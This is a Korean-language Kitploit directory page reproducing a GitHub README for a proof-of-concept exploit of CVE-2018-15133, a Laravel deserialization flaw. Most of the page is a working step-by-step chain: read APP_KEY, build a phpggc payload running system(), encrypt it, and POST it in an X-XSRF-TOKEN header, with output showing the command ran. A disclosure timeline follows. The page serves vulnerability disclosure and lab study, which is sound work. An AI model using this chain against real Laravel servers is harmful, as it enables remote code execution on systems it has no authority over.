Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
laravel-poc-CVE-2018-15133 — CVE-2018-15133 (Laravel unserialize 취약점)에 대한 PoC | Kitploit
도구/GitHubGitHub/kozmic/laravel-poc-cve-2018-15133
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubkozmic/laravel-poc-cve-2018-15133

laravel-poc-CVE-2018-15133

CVE-2018-15133 (Laravel unserialize 취약점)에 대한 PoC

저장소 보기
2583612년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

APP_KEY 유출 시 Laravel 원격 코드 실행 PoC (CVE-2018-15133)

이 저장소는 PHP 7.2.10에서 실행되는 간단한 Laravel 5.6.29 애플리케이션으로, routes/web.php에 기본 noop 라우트 하나가 추가되어 있으며(Dockerfile 참조), CVE-2018-15133에 대한 PoC(Proof of Concept) 익스플로잇(cve-2018-15133.php)을 포함합니다. 이 익스플로잇은 Laravel 애플리케이션을 성공적으로 공격하여 대상 시스템에서 uname -a를 실행합니다.

애플리케이션을 실행하고 대상 시스템에서 uname -a를 실행하는 방법

root@kitploit:~
# Build the Docker image (or skip this step and fetch from kozmico/laravel-poc-cve-2018-15133):
docker build -t laravel-poc-cve-2018-15133 .
# Launch the container and expose it on localhost:8000:
docker run -d -p 8000:8000 laravel-poc-cve-2018-15133
# A vanilla Laravel 5.6.29 on PHP 7.2.10 should now be running on http://localhost:8000

Laravel 5.6.29을 실행하는 데모 앱에서 uname -a를 실행하려면 다음을 수행합니다:

  • 실행 중인 Laravel 애플리케이션에서 APP_KEY를 검색합니다
  • system("uname -a");를 실행할 unserialize 페이로드를 생성합니다
  • APP_KEY로 unserialize 페이로드를 암호화합니다
  • 암호화된 페이로드를 POST 요청 헤더에 담아 전송하면 코드가 실행된 것을 확인할 수 있습니다. 성공!

uname -a를 실행하는 예제 익스플로잇

root@kitploit:~
# Get APP_KEY:
$ docker exec -it $(docker ps --latest --quiet) grep -e \^APP_KEY /var/www/html/laravel/.env
APP_KEY=base64:9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk=

# Generate unserialize payload:
$ phpggc Laravel/RCE1 'uname -a' -b # Note: Vanilla phpggc will only work on PHP 5.6, this is a modified version
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6InVuYW1lIC1hIjt9

# Encrypt payload with APP_KEY:
$ ./cve-2018-15133.php 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6InVuYW1lIC1hIjt9

'PoC for Unserialize vulnerability in Laravel <= 5.6.29 (CVE-2018-15133) by @kozmic

HTTP header for POST request: 
X-XSRF-TOKEN: eyJpdiI6Imp3c1BUejE5aGFFUVM4a0NcLzIyODBnPT0iLCJ2YWx1ZSI6InZrTEdOY2o1NlVJdlltWFl3OFBxTEY1a1pCZWlaSDRSdXM1STNSa21sSE5Cb3hFd09cL2JUdU0wWHhjK0dUU0dYQzlTd3ZYSm50NTc4NW90UnNrZW5mMHc2RHdcLzZia01cL29wVUhjQml5cCtmZ1VcL2lwbnVySG52MHEwWXdZMVFVSXhWYjFEQlwveTZPQ3JORnRYdVQyeVFnODM1UGVCSVFcL3B6RGs2VDczOTZEbkFKdFwvc3lpZXBtcUo4VllLNU4zS0pMV3ZBUlNXZDRHRmNnOG1vOFZUWDVicE5uV0FcL1NSXC9HRjh2XC9YR2pLUDlEdlEwaytWRHl5TFhvb3RXM0Y4ejNXIiwibWFjIjoiOTMwMTNkZDYwYzNjYmQ1YTg4ZjRmNjM2NmZhMzBjNzA5NTgzYmI0ZWM3Y2MzOGM4YmExYjM2ZTVkOTIzZDJjYyJ9

# Send the exploit payload and see that 'uname  -a' executed since we can see 'Linux ad66c19a7ab5 4.15.0-33-generic #36-Ubuntu SMP Wed Aug 15 16:00:05 UTC 2018 x86_64 GNU/Linux' in the first line of the response:
$ curl localhost:8000 -X POST -H 'X-XSRF-TOKEN: eyJpdiI6Imp3c1BUejE5aGFFUVM4a0NcLzIyODBnPT0iLCJ2YWx1ZSI6InZrTEdOY2o1NlVJdlltWFl3OFBxTEY1a1pCZWlaSDRSdXM1STNSa21sSE5Cb3hFd09cL2JUdU0wWHhjK0dUU0dYQzlTd3ZYSm50NTc4NW90UnNrZW5mMHc2RHdcLzZia01cL29wVUhjQml5cCtmZ1VcL2lwbnVySG52MHEwWXdZMVFVSXhWYjFEQlwveTZPQ3JORnRYdVQyeVFnODM1UGVCSVFcL3B6RGs2VDczOTZEbkFKdFwvc3lpZXBtcUo4VllLNU4zS0pMV3ZBUlNXZDRHRmNnOG1vOFZUWDVicE5uV0FcL1NSXC9HRjh2XC9YR2pLUDlEdlEwaytWRHl5TFhvb3RXM0Y4ejNXIiwibWFjIjoiOTMwMTNkZDYwYzNjYmQ1YTg4ZjRmNjM2NmZhMzBjNzA5NTgzYmI0ZWM3Y2MzOGM4YmExYjM2ZTVkOTIzZDJjYyJ9'| head -n 2

Linux ad66c19a7ab5 4.15.0-33-generic #36-Ubuntu SMP Wed Aug 15 16:00:05 UTC 2018 x86_64 GNU/Linux
<!DOCTYPE html>
<html lang="en">

PHP 7.2용 phpggc 수정: sed -i -e 's/assert/system/g' gadgetchains/Laravel/RCE/1/gadgets.php

타임라인

  • 2018-08-07: 취약점이 @kozmic에 의해 Laravel 보안 연락처에 보고되었고 CVE-2018-15133이 Mitre에 의해 배정됨
  • 2018-08-07: 보안 연락처에서 7분 만에 첫 응답 (인상적입니다!)
  • 2018-08-07: 취약점에 대한 설명과 추가 세부 정보 공유
  • 2018-08-08: 취약점을 패치한 Laravel 5.6.30 및 Laravel 5.5.42 릴리스
  • 2018-09-26: @kozmic이 https://github.com/kozmic/laravel-poc-CVE-2018-15133/ 에 PoC 공개
  • 2024-01-16: CVE-2018-15133이 CISA의 KEV(알려진 악용 취약점) 카탈로그에 추가됨. CISA는 Androxgh0st가 악성코드 툴킷의 일부로 CVE-2018-15133을 사용한다는 내용을 담은 Androxgh0st 악성코드 관련 알려진 침해 지표라는 사이버 보안 권고를 발표함.
도구 다운로드